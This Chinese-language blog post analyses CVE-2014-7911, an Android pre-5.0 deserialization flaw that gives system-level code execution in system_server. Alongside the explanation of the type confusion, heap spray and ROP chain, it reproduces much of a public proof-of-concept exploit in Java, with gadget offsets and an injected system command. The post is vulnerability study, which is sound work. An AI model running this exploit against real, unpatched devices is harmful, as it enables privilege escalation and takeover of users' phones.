CVE-2014-7911 Android 反序列化漏洞分析

  网上对于此漏洞的分析已经很多了,由于这个漏洞设计了很多底层的知识,很值得学习。总算耐着性子把这个漏洞分析了一下,文章主要记录自己的分析过程。

一、基础知识

  要完成此漏洞的分析,需要不少基础知识支持。主要有:

  • Java序列化与反序列化
  • Android binder通信机制
  • heap spray
  • ROP

二、实验环境

  由于CVE-2014-7911影响了Android 5.0一下版本,所以实验设备需要And容地5.0以下。注意,部分看下手机的系统发布时间,可能OEM针对此漏洞发布了对应的漏洞补丁。另外,我看到资料上说不要使用模拟器,原始是在模拟器上不能通过反射获取系统服务。我一开始在模拟器上运行PoC代码,确实不能成功。我的实验环境如下:

Android 版本:4.3
手机:三星S3联通定制版(坑了我半天)

三、漏洞分析

1. Java层分析

  首先看下漏洞成因:在Android <5.0系统中,java.io.ObjectInputStream不校验传入的java对象是否是可序列化的。于是,攻击者可以构造一个不可序列话的java对象,并且此Java对象包含了攻击者控制的恶意成员变量。在binder 的server端收到请求时,ObjectInputStream将不可序列化的java对象进行序列化,于是发生类型混淆,攻击者控制的成员变量被当成指针处理。根据此指针可以改变程序的执行流程,进一步向system_server进程注入代码,由于system_server拥有system权限,从而使得注入的代码以system权限执行,达到了提权的目的。

  从众多的Android类或者Java类中寻找一个不可序列化的对象,从retme7公开的PoC代码中可以看到,利用了Android.os.BinderProxy类。之所以利用BinderProxy类,可能是因为利用此类在GC(垃圾回收)时的指针更加容易控制。即Android.os.BinderProxy对象的mOrgue成员。大神是如何找到这样的好利用的对象的?

  同时,不可序列化的Android.os.BinderProxy需要被处理,即需要server端进行反序列化,才能产生类型混淆。Android中的Binder机制很好地解决了这个问题,binder Client中放入一个序列化对象,在Binder Server端就对此对象进行反序列化。但是,由于在Binder Client中添加的对象需要是可序列化的,所以这一采用了一个技巧。即先构造可序列化的AAdroid.os.Binder对象,将其添加到Binder的发送数据中,但是,在发送前进行一次类似序列化的操作,把AAdroid.os.Binder改成Android.os.Binder对象。这样,server在处理的时候,就会是除了不可序列化的对象。

package AAdroid.os;

import java.io.Serializable;

public class BinderProxy implements Serializable {
    private static final long serialVersionUID = 0;
    public int mObject = 0x1337beef;
    public int mOrgue = 0x1337beef;
}

  通过反射获取Binder对象,这里使用的是IUserManager系统服务。但是,个人觉得通过其他的系统服务也是可以做到的。

    void expolit(int static_address) {
        Context ctx = getBaseContext();
        try {
            Bundle b = new Bundle();
            AAdroid.os.BinderProxy evilProxy = new AAdroid.os.BinderProxy();
            evilProxy.mOrgue = static_address;
            b.putSerializable("eatthis", evilProxy);

            Class clIUserManager = Class.forName("android.os.IUserManager");
            Class[] umSubclasses = clIUserManager.getDeclaredClasses();
            System.out.println(umSubclasses.length + " inner classes found");
            Class clStub = null;
            for (Class c : umSubclasses) {
                System.out.println("inner class: " + c.getCanonicalName());
                if (c.getCanonicalName().equals("android.os.IUserManager.Stub")) {
                    clStub = c;
                }
            }

            Field fTRANSACTION_setApplicationRestrictions = clStub
                    .getDeclaredField("TRANSACTION_setApplicationRestrictions");
            fTRANSACTION_setApplicationRestrictions.setAccessible(true);
            TRANSACTION_setApplicationRestrictions = fTRANSACTION_setApplicationRestrictions
                    .getInt(null);

            UserManager um = (UserManager) ctx
                    .getSystemService(Context.USER_SERVICE);
            Field fService = UserManager.class.getDeclaredField("mService");
            fService.setAccessible(true);
            Object proxy = fService.get(um);

            Class[] stSubclasses = clStub.getDeclaredClasses();
            System.out.println(stSubclasses.length + " inner classes found");
            clProxy = null;
            for (Class c : stSubclasses) {
                System.out.println("inner class: " + c.getCanonicalName());
                if (c.getCanonicalName().equals(
                        "android.os.IUserManager.Stub.Proxy")) {
                    clProxy = c;
                }
            }

            Field fRemote = clProxy.getDeclaredField("mRemote");
            fRemote.setAccessible(true);
            mRemote = (IBinder) fRemote.get(proxy);

            UserHandle me = android.os.Process.myUserHandle();
            setApplicationRestrictions(ctx.getPackageName(), b, me.hashCode());

            Log.i("badserial",
                    "waiting for boom here and over in the system service...");
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

  setApplicationRestrictions()函数就是完成发送不可序列化的Android.os.BinderProxy给服务端的操作。

public void setApplicationRestrictions(java.lang.String packageName,
            android.os.Bundle restrictions, int userHandle)
            throws android.os.RemoteException {
        android.os.Parcel _data = android.os.Parcel.obtain();
        android.os.Parcel _reply = android.os.Parcel.obtain();
        try {
            _data.writeInterfaceToken(DESCRIPTOR);
            _data.writeString(packageName);
            _data.writeInt(1);
            restrictions.writeToParcel(_data, 0);
            _data.writeInt(userHandle);

            byte[] data = _data.marshall();
            for (int i = 0; true; i++) {
                if (data[i] == 'A' && data[i + 1] == 'A' && data[i + 2] == 'd'
                        && data[i + 3] == 'r') {
                    data[i] = 'a';
                    data[i + 1] = 'n';
                    break;
                }
            }
            _data.recycle();
            _data = Parcel.obtain();
            _data.unmarshall(data, 0, data.length);

            mRemote.transact(TRANSACTION_setApplicationRestrictions, _data,
                    _reply, 0);
            _reply.readException();
        } finally {
            _reply.recycle();
            _data.recycle();
        }
    }

  这个我们利用了UserManager服务的setApplicationRestrictions函数。我们查看下Binder服务端Android源码中setApplicationRestrictions函数是否使用了ObjectOutputStream进行反序列化。在 源码/frameworks/base/services/java/com/android/server/pm/UserManagerService.java中定义了setApplicationRestrictions()函数。

  setApplicationRestrictions调用了writeApplicationRestrictionsLocked()函数。

  运行代码,由于发生了类型混淆,Android.os.BinderProxy的mOrgue成员被当成了指针处理,所以程序程序抛飞了,导致system_server进程的崩溃,即系统重启。

2、Native层分析

  下面是Native层分析,也是难点所在,查看崩溃日志。

  在Android.os.BinderProxy类中,存在一个处理垃圾回收的代码。Android中的GC机制导致BinderProxy中的finalize()被调用。

@Override
protected void finalize() throws Throwable {
    try {
            destroy();
    } finally {
        super.finalize();   
    }
}

  destroy()是一个Native方法。

private native final void destroy();

  对应的Native实现在源码/frameworks/base/core/jni/android_util_Binder.cpp中。

static void android_os_BinderProxy_destroy(JNIEnv* env, jobject obj)
{
    IBinder* b = (IBinder*)
        env->GetIntField(obj, gBinderProxyOffsets.mObject);
    DeathRecipientList* drl = (DeathRecipientList*)
        env->GetIntField(obj, gBinderProxyOffsets.mOrgue);
    LOGDEATH("Destroying BinderProxy %p: binder=%p drl=%p\n", obj, b, drl);
    env->SetIntField(obj, gBinderProxyOffsets.mObject, 0);
    env->SetIntField(obj, gBinderProxyOffsets.mOrgue, 0);
    drl->decstrong((void*)javaobjectforibinder);
    b->decStrong((void*)javaObjectForIBinder);
    IPCThreadState::self()->flushCommands();
}

  这里将攻击者控制的mOrgue成员字段转化成了DeathRecipientList*对象的指针。其中gBinderProxyOffsets.mOrgue和gBinderProxyOffsets.mObject同在这个对象中完成了初始化。可以看到,他们就是从攻击者控制的mOgrue和mObject获得的。 mOrgue相当于控制了DeathRecipientList的对象的this指针,这句话需要理解下。

DeathRecipientList* drl =(DeathRecipientList*)env->GetIntField(obj,gBinderProxyOffsets.mOrgue); 

  所以,这里和drl相关的东西就是攻击者可以控制的,也就是可以注入代码的地方。在android_os_BinderProxy_destroy()函数中,唯一和drl相关的就是drl->decstrong((void*)javaobjectforibinder)函数。

ps:这里也就回归到了system_server崩溃的地方,即decStrong()函数处。其实,上面找到从finalize()函数开始,应该是从decStrong()函数逆推回去的。

void RefBase::decStrong(const void* id) const
{
    weakref_impl* const refs = mRefs;
    refs->removeStrongRef(id);
    const int32_t c = android_atomic_dec(&refs->mStrong);
#if PRINT_REFS
    ALOGD("decStrong of %p from %p: cnt=%d\n", this, id, c);
#endif
    ALOG_ASSERT(c >= 1, "decStrong() called on %p too many times", refs);
    if (c == 1) {
        refs->mBase->onLastStrongRef(id);
        if ((refs->mFlags&OBJECT_LIFETIME_MASK) == OBJECT_LIFETIME_STRONG) {
            delete this;
        }
    }
    refs->decWeak(id);
}

  这里乍一看得不到啥有用信息,查看下mRefs定义,其也是定义在 /frameworks/native/include/utils/RefBase.h中。在RefBase中定义了decStrong()函数和weakref_impl* const mRefs变量。

class RefBase
{
public:
            void            incStrong(const void* id) const;
            void            decStrong(const void* id) const;

            void            forceIncStrong(const void* id) const;

            //! DEBUGGING ONLY: Get current strong ref count.
            int32_t         getStrongCount() const;

    class weakref_type
    {
    public:
        RefBase*            refBase() const;

        void                incWeak(const void* id);
        void                decWeak(const void* id);

        // acquires a strong reference if there is already one.
        bool                attemptIncStrong(const void* id);

        // acquires a weak reference if there is already one.
        // This is not always safe. see ProcessState.cpp and BpBinder.cpp
        // for proper use.
        bool                attemptIncWeak(const void* id);

        //! DEBUGGING ONLY: Get current weak ref count.
        int32_t             getWeakCount() const;

        //! DEBUGGING ONLY: Print references held on object.
        void                printRefs() const;

        //! DEBUGGING ONLY: Enable tracking for this object.
        // enable -- enable/disable tracking
        // retain -- when tracking is enable, if true, then we save a stack trace
        // for each reference and dereference; when retain == false, we
        // match up references and dereferences and keep only the
        // outstanding ones.

        void                trackMe(bool enable, bool retain);
    };

            weakref_type*   createWeak(const void* id) const;

            weakref_type*   getWeakRefs() const;

            //! DEBUGGING ONLY: Print references held on object.
    inline  void            printRefs() const { getWeakRefs()->printRefs(); }

            //! DEBUGGING ONLY: Enable tracking of object.
    inline  void            trackMe(bool enable, bool retain)
    {
        getWeakRefs()->trackMe(enable, retain);
    }

    typedef RefBase basetype;

protected:
                            RefBase();
    virtual                 ~RefBase();

    //! Flags for extendObjectLifetime()
    enum {
        OBJECT_LIFETIME_STRONG  = 0x0000,
        OBJECT_LIFETIME_WEAK    = 0x0001,
        OBJECT_LIFETIME_MASK    = 0x0001
    };

            void            extendObjectLifetime(int32_t mode);

    //! Flags for onIncStrongAttempted()
    enum {
        FIRST_INC_STRONG = 0x0001
    };

    virtual void            onFirstRef();
    virtual void            onLastStrongRef(const void* id);
    virtual bool            onIncStrongAttempted(uint32_t flags, const void* id);
    virtual void            onLastWeakRef(const void* id);

private:
    friend class weakref_type;
    class weakref_impl;

                            RefBase(const RefBase& o);
            RefBase&        operator=(const RefBase& o);

private:
    friend class ReferenceMover;

    static void renameRefs(size_t n, const ReferenceRenamer& renamer);

    static void renameRefId(weakref_type* ref,
            const void* old_id, const void* new_id);

    static void renameRefId(RefBase* ref,
            const void* old_id, const void* new_id);

        weakref_impl* const mRefs;
};

  可以看到,DeathRecipientList类是RefBase的子类,前面我们说到,mOrgue相当于控制了DeathRecipientList类的this指针。所以,RefBase对象的基址相当于也被攻击者控制了。继续回到上面的decStrong函数,根据C++内存布局,里面mRefs的地址就是this指针+4。即mRefs=mOrgue+4。这样,可以被攻击者控制的地方有3个:refs->removeStrongRef(id), refs->mBase->onLastStrongRef(id)和refs->decWeak(id)。其中,再次根据C++内存布局,refs->mBase的地址应该是refs的地址+8。通过后面的汇编代码可以看到,removeStrongRef()函数是个空实现,在编译的时候已经被优化掉。所以,这里还生下来两条途径可以被攻击者控制来向system_server进程注入代码。

  前面在 android_os_BinderProxy_destroy()函数中,我们就看到,我们可以通过mOrgue控制了DeathRecipientList对象的地址。那么,是否可以直接通过查看decstrong()函数相对DeathRecipientList对象的地址偏移来控制代码执行流程?综上,我们提出三个可能攻击的途径:

  通过 控制decString()函数相对 DeathRecipientList对象的地址偏移直接指向攻击者代码;
  通过控制removeStrongRef(id)相对refs的地址来直接指向攻击者代码;
  通过refs->mBase->onLastStrongRef(id)来指向攻击者代码。

  对照着源码,查看一下汇编代码,分段解释中直接把解释写到了代码注释。

PUSH            {R4-R6,LR} 
MOV             R5, R0 #r0是this指针
LDR             R4, [R0,#4] #r0+4的内容为refs(mRefs)
MOV             R6, R1
MOV             R0, R4  #r0为refs->mStrong
BLX             android_atomic_dec
CMP             R0, #1 #判断refs->mStrong是否为1
BNE             loc_F954
LDR             R0, [R4,#8] #r0为refs->mBase
MOV             R1, R6
LDR             R3, [R0]
LDR             R2, [R3,#0xC] #refs->mBase->onLastStrongRef(id),即对mBase的偏移是12
BLX             R2 #转向onLastStrongRef()函数
LDR             R0, [R4,#0xC]
LSLS            R0, R0, #0x1F
BMI             loc_F954

  注意,android_atomic_dec函数执行强引用计数减1,返回的是执行减1操作之前所指定的内存地址存放的值。为了调用refs->mBase->onLastStrongRef(id)(即:blx r2),攻击者需要使refs->mStrong为1。 至此,可以看出攻击者为了实现代码执行,需要满足如下约束条件:

   1. drl(就是mOrgue,第一个可控的指针,在进入decStrong函数时的r0)必须指向可读的内存区域;
   2. refs->mStrong必须为1;
   3. refs->mBase->onLastStrongRef(id)需要执行成功。并最终指向可执行的内存区域。即满足:

if(*(*(mOrgue+4)) == 1) {
    refs = *(mOrgue+4);
    r2 = *(*(*(refs+8))+12);
    blx r2 ; <—— controlled;
}

3、绕过ALSR

  Android底层的Linux内核采用了地址随机化措施。但是,我们知道,system_server和所有的App 都是fork自zygote进程的。根据写时拷贝技术,他们会共享dalvik-heap和一些基础模块。后面我们看到,只要在使用dalvik heapspray和构建ROP Gadget时,只使用libc、libdvm这些基础模块,就无需考虑地址随机化的问题。

4、堆喷技术

  前面我们看到,攻击者可以通过mOrgue控制程序执行流程,也就是让程序转到mOrgue的地方去执行。所以,需要在mOrgue地址所在的地方注入代码。这样,需要将mOrgue指向攻击者可以传入代码的地方。这就需要采用堆喷射技术。

  system_server进程向android设备提供绝大部分的系统服务,通过这些服务的一些特定方法我们可以向system_server传输一个String,同时system_server把这个String存储在Dalvik-heap中不被销毁(因为我们需要使用注入代码段对这片内存区域进行填充)。

    void heap_spary_ex(String str) {
        str = str + generateString(16);
        try {
            IntentFilter inFilter = new IntentFilter();

            inFilter.addAction(generateString(16));

            this.registerReceiver(receiver, inFilter, str, null);
            // LocationManager lm =
            // (LocationManager)getSystemService(LOCATION_SERVICE);
            // lm.addTestProvider(str.toString(), false, false, false, false,
            // false, false, false, 1, 1);
        } catch (Exception e) {
            // throw new RuntimeException(e);
            // Log.d("7911", "exception" );
            e.printStackTrace();
        }

    }

  查看registerReceiver()方法。

public Intent registerReceiver(BroadcastReceiver receiver, IntentFilter filter, String broadcastPermission, Handler scheduler)

  其中broadcastPermission参数为一个String类型,方法调用完成后,String buffer将常驻system_server内存空间,并且不会被销毁。接下来,简单分析下registerReceiver方法是如何将String传递进并常驻在system_server进程的:

ContextWrapper.registerReceiver->ContextImpl.registerReceiver->ContextImpl.registerReceiverInternal->ActivityManagerProxy.registerReceiver->ActivityManagerService.registerReceiver

  注意ActivityManagerProxy.registerReceiver方法里通过Binder驱动程序就进入到了ActivityManagerService中的registerReceiver方法中,也就是进入到了system_server进程里。

public Intent registerReceiver(IApplicationThread caller, String callerPackage, IIntentReceiver receiver, IntentFilter filter, String permission, int userId) {
enforceNotIsolatedCaller("registerReceiver");
    int callingUid;
    int callingPid;
    synchronized(this) {
        ......
        ReceiverList rl
            = (ReceiverList)mRegisteredReceivers.get(receiver.asBinder());
        ......
        BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
            permission, callingUid, userId);
        rl.add(bf);
        ......
        return sticky;
    }
}

  通过

BroadcastFilter bf = new BroadcastFilter(filter, rl, callerPackage,
       permission, callingUid, userId);
rl.add(bf);

  就将传递进的String buffer即此处的permission常驻在system_server内存空间。 最后反复调用heapSpary,完成Dalvik-heap spary:

                for (int i = 0; i < 2000; i++) {
                    heap_spary_ex(str);

                    if (i % 100 == 0)
                        Log.d("cve", "sparying.... " + i);
                }

  以下堆块布局条件推导摘自博客:http://blog.idhyt.com/2015/08/01/exploit-cve-2014-7911-exp/。首先看下堆的机构。

  为了通过mOrgue将程序流程顺利转到shellcode处执行,要求mOrgue指针指向滑块指令区域。这样,程序总能专向shellcode处执行。且要求滑块指令所占的内存长度远大于shellcode占的内存长度。以下推导堆块内存布局所要满足的逻辑条件。

假设mOrgue命中了堆块中的滑板指令,
为了使
[mOrgue] = shellcode_addr
则有
[mOrgue] = shellcode_addr = heap_base_addr + shellcode_addr_offset
一般情况下mOrgue在堆基址某偏移处,考虑到4字节对齐,所以
mOrgue = heap_base_addr + 4N
得出 [mOrgue] = heap_base_addr + shellcode_addr_offset = mOrgue + shellcode_addr_offset - 4N (约束1)
这样,给定一个mOrgue,只要能落入system_server在dalvik heap分配的大量堆块中,
即指向了滑板指令,就总是存在[mOrgue] = shellcode_addr。
再看堆块结构图,滑板指令的值从上到下依次减4,
所以当[mOrgue] = shellcode_addr时,[mOrgue + 4] =shellcode_addr - 4,
可得出[mOrgue + 4N] = shellcode_addr - 4N

所以通过构造这样结构的堆块,就可以达到上述滑板指令的目的, 同时当命中滑板指令时,这个堆块布局有两个逻辑公式:

[mOrgue] = mOrgue + shellcode_addr_offset - 4N

[mOrgue + 4N] = shellcode_addr - 4N

  接下来根据这两个条件,继续查看汇编代码。

0000d174         mov        r5, r0  // r0 = mOrgue可控
0000d176         ldr        r4, [r0, #0x4] // mOrgue + 4处取值
0000d178         mov        r6, r1
0000d17a         mov        r0, r4
0000d17c         blx        android_atomic_dec@PLT
0000d180         cmp        r0, #0x1 
0000d182         bne        0xd19c  

0000d184         ldr        r0, [r4, #0x8] // r0 = [r4 + 8]
0000d186         mov        r1, r6  
0000d188         ldr        r3, [r0]    
0000d18a         ldr        r2, [r3, #0xc]
0000d18c         blx        r2

   跳转限制条件:
[r0, #0x4] == 1 即 [mOrgue + 4] == 1 根据[mOrgue + 4N] = shellcode_addr得出 shellcode_addr - 4 == 1 流程控制限制条件: r0 = [r4 + 8] = [[r0 + 4] + 8] = [shellcode_addr - 4 + 8] = [shellcode_addr + 4]
r3 = [r0] = [[shellcode_addr + 4]]
r2 = [r3 + 12]
为了布局方便和流程控制,最后让r2指向shellcode_addr则有
r2 = [shellcode_addr] = [shellcode_addr -12 + 12]
得出r3 = shellcode_addr -12 = [mOrgue + 12]
要使[[shellcode_addr + 4]] = [mOrgue + 12]
则有[shellcode_addr + 4] == mOrgue + 12
综上所述,堆块布局的两个限制条件为:
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
将大量的这样布局的堆块喷射到system_server中,一旦mOrgue值命中滑板指令,就会跳入shellcode_addr地址去执行代码。

5、DEP绕过

  由于Android使用了DEP,因此Dalvik-heap上的内存不能用来执行,这就必须使用ROP技术,使PC跳转到一系列合法指令序列(Gadget),并由这些Gadget拼凑而成shellcode,shellcode中执行system函数,然后通过system函数调用外部程序。

  一个寻找ROP链的工具
  需要注意的是,在寻找ROP跳转指令时候,一定要从基础模块(会被zygote加载的模块)中寻找,保证内存布局是一致的,如libc,libandroid_runtime等。
  为了调用system函数,需要控制r0寄存器,指向我们预先布置的命令行字符串作为参数。这里需要使用Stack Pivot技术,将栈顶指针SP指向控制的Dalvik-heap堆中的数据,这将为控制PC寄存器、以及在栈上布置数据带来便利,执行命令


python ./ROPgadget.py --thumb --binary /Users/idhyt/Downloads/libwebviewchromium.so > gadgets.txt

  然后就可以寻找合适的代码片段,寻找的时候要有目的性,首先第一条指令一定尽量是我们能控制的指令,通过前边dump的崩溃信息可以看到,r0,r5,r7,r8这4个寄存器的值都是mOrgue,即这4个寄存器可控,所以第一条指令可以重点查看是这4个寄存器操作的指令,下边就是一系列繁杂的体力活,直接用exploit中的ROP进行说明。

gadget1: libwebviewchromium.so(0x0070a93c)

ldr r7, [r5]    // r5 = mOrgue, r7 = [mOrgue] = shellcode_addr
mov r0, r5  // r0 = mOrgue
ldr r1, [r7, #8] // r1 = [r7 + 8] = [shellcode_addr + 8]
blx r1  // 跳转到[shellcode_addr + 8]执行

gadget2: libdvm.so(0x000664c4)

add.w r7, r7, #8 // r7 = r7 + 8 = shellcode_addr + 8
mov sp, r7  // sp = r7 = shellcode_addr + 8
pop {r4, r5, r7, pc}    // r4=[shellcode_addr + 8], r5=[shellcode_addr + 12], r7=[shellcode_addr + 16], pc=[shellcode_addr + 20], 跳转到pc执行

gadget3: libwebviewchromium.so(0x0030c4b8)

mov r0, sp  //  上边sp=shellcode_addr + 8,然后pop4个寄存器,所以sp=shellcode_addr + 8 + 4*4 = shellcode_addr + 24
blx r5  //  r5 = [shellcode_addr + 12] 即跳转到该处执行代码

  最后一步要能执行system命令,需要r0 = system参数,r5=system地址, 所以得出
[shellcode_addr + 24] = system参数
[shellcode_addr + 12] = system地址
结合堆块布局里边的约束条件
shellcode_addr - 4 == 1
[shellcode_addr + 4] == mOrgue + 12
最终的堆块数据布局如下所示:

  最后,构造ROP Chain还需要考虑一个细节,ARM有两种模式Thumb和ARM模式,我们使用的Gadgets均为Thumb模式,因此其地址的最低位均需要加1.

  以下代码就是填充堆区域的过程,就是安装上述图来想堆区域填充对应的数据。这块retme7的poc集合了另一个漏洞,直接提权到root权限。poc代码中,gadget中用到了libwebviewchromium.so的汇编代码。我给试验机刷的4.3系统,貌似基于chromium的webview是4.4才引入的。这块我就不再继续实验下去了,可能可以通过其他的基础库.so模块来构造ROP链(还是基于上面那个开源工具)。但这块确实是体力活太大也很枯燥,底层漏洞利用技术是个长期的学习过程。最后贴上构造ROP链的代码,如上图中,对于gadget地址,直接填充找到的.so文件的基址+汇编指令偏移即可,地址相对于.so库的偏移可以通过IDA工具获得,不知道那个构造gadget的工具是否也有这个功能。

protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button b = (Button) findViewById(R.id.button1);
        b.setOnClickListener(new OnClickListener() {

            @Override
            public void onClick(View arg0) {
                // TODO Auto-generated method stub

                // release native exploit

                int dalvikHeapAddr = get_base("/dev/ashmem/dalvik-heap");
                int libcAddr = get_base("/system/lib/libc.so");
                int libDvmAddr = get_base("/system/lib/libdvm.so");
                int libWebViewChromiumAddr = get_base("/system/lib/libwebviewchromium.so");

                // static address, namely mOrgue address;
                int static_address = dalvikHeapAddr + 0x01001000;

                Log.d("cve",
                        "exploiting.... static address 0x"
                                + Integer.toHexString(static_address));

                // gadget buffer offset;
                int gadget_buffer_offset = Unicode_buffer_lenth
                        - Gadget_buffer_lenth;

                int gadget_buffer = static_address + gadget_buffer_offset;

                Log.d("cve",
                        "exploiting.... gadget buffer 0x"
                                + Integer.toHexString(gadget_buffer));
                Log.d("cve",
                        "exploiting.... gadget buffer offset 0x"
                                + Integer.toHexString(gadget_buffer_offset));

                // a char takes 2 bytes in java, get buffer
                char[] bytes = new char[Unicode_buffer_lenth / 2];

                bytes[0] = 0xbeaf;
                bytes[1] = 0xdead;
                int value = 0;

                /*以下是填充堆区域的过程,按照前面分析的堆结构填充即可**/

                // set value of gadget buffer offset area
                for (int k = 0; k < gadget_buffer_offset / 2; k += 2) {

                    value = gadget_buffer - (2 * k);
                    // 四字节对齐
                    bytes[k] = (char) value;
                    bytes[k + 1] = (char) ((value >> 16) & 0xffff);
                    // Log.d("cve","0x" + Integer.toHexString((int)bytes[k+1]) +
                    // Integer.toHexString((int)bytes[k]));
                }

                int rop_chain[] = rop_chain_KTU84P;

                value = 1;
                bytes[gadget_buffer_offset / 2 - 2] = (char) value;
                bytes[gadget_buffer_offset / 2 - 1] = (char) ((value >> 16) & 0xffff);

                // 约束条件 [shellcode_addr + 4] == mOrgue + 12
                value = static_address + 0xC;
                bytes[gadget_buffer_offset / 2 + 2] = (char) value;
                bytes[gadget_buffer_offset / 2 + 3] = (char) ((value >> 16) & 0xffff);

                // shellcode数据布局 [shellcode_addr] = gadget1_addr
                value = libWebViewChromiumAddr + rop_chain[0]; // libwebviewchromium.so(0x0070a93c):
                                                                // ldr r7, [r5]
                                                                // ; mov r0, r5
                                                                // ; ldr r1,
                                                                // [r7, #8] ;
                                                                // blx r1
                bytes[gadget_buffer_offset / 2] = (char) value;
                bytes[gadget_buffer_offset / 2 + 1] = (char) ((value >> 16) & 0xffff);

                // shellcode数据布局 [shellcode_addr + 8] = gadget2_addr
                value = libDvmAddr + rop_chain[1]; // libdvm.so(0x000664c4):
                                                    // add.w r7, r7, #8 ; mov
                                                    // sp, r7 ; pop {r4, r5, r7,
                                                    // pc}
                bytes[gadget_buffer_offset / 2 + 4] = (char) value;
                bytes[gadget_buffer_offset / 2 + 5] = (char) ((value >> 16) & 0xffff);

                // shellcode数据布局 [shellcode_addr + 12] = system_addr
                value = libcAddr + rop_chain[2]; // system
                bytes[gadget_buffer_offset / 2 + 6] = (char) value;
                bytes[gadget_buffer_offset / 2 + 7] = (char) ((value >> 16) & 0xffff);

                // shellcode数据布局 [shellcode_addr + 20] = gadget3_addr
                value = libWebViewChromiumAddr + rop_chain[3]; // libwebviewchromium.so(0x0030c4b8):
                                                                // mov r0, sp ;
                                                                // blx r5
                bytes[gadget_buffer_offset / 2 + 10] = (char) value;
                bytes[gadget_buffer_offset / 2 + 11] = (char) ((value >> 16) & 0xffff);

                // system_param cmd = "id >/data/exploit.txt"
                String cmd="id >/data/exploit.txt";
                int[] values = stringToInt(cmd);
                for (int i = 0; i < values.length; i++) {
                    bytes[gadget_buffer_offset / 2 + 12 + i * 2] = (char) values[i];
                    bytes[gadget_buffer_offset / 2 + 13 + i * 2] = (char) ((values[i] >> 16) & 0xffff);
                }

                String str = null;
                str = String.valueOf(bytes);
                // Log.d("cve","str is " + str);
                for (int i = 0; i < 2000; i++) {
                    heap_spary_ex(str);

                    if (i % 100 == 0)
                        Log.d("cve", "sparying.... " + i);
                }
                expolit(static_address);
            }
        });

    }





参考文献:

http://blog.idhyt.com/2015/08/01/exploit-cve-2014-7911-exp/

http://ele7enxxh.com/CVE-2014-7911-Detailed-Analysis-Of-Android-Local-Privilege-Escalation-To-System-Vulnerability.html

http://zke1ev3n.me/2016/08/02/CVE-2014-7911-Android%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E4%B8%8E%E5%88%A9%E7%94%A8/

你可能感兴趣的:(漏洞,反序列化,CVE,2014-7911)